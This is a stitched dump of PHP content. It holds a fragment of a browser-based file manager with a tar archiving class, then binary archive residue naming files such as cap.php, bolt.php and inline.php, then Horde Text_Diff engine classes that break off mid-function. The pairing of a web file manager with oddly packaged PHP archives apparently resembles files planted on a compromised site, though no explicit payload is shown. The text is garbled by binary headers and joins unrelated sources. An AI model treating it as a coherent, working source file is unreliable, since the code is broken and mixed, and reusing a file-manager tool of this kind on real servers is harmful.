	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK       |\S                    inline.php.php.tar.gznu [        PK       |\Mk]  ]              /  cap.php.php.tar.gznu [        PK       |\FI  I  	            e  error_lognu [        PK       |\p`\~  \~  
             Engine.zipnu [        PK       |\o< <  <             $ bolt.php.tarnu [        PK       |\&\d d             ` Renderer.tar.gznu [        PK       |\tF3)9 )9             . cap.phpnu [        PK       |\tT                  g inline.php.tarnu [        PK       |\a  a              3 bolt.php.php.tar.gznu [        PK       |\'ݣ    
             inline.phpnu [        PK       |\ \                 Renderer.tarnu [        PK       |\Ќ5 5             - bolt.phpnu [        PK       |\FL @  @             J cap.php.tarnu [        PK                                                                                                                                                                                                                                                                                                                                                                                                          Engine.zip                                                                                          0000644                 00000077134 15217301643 0006513 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
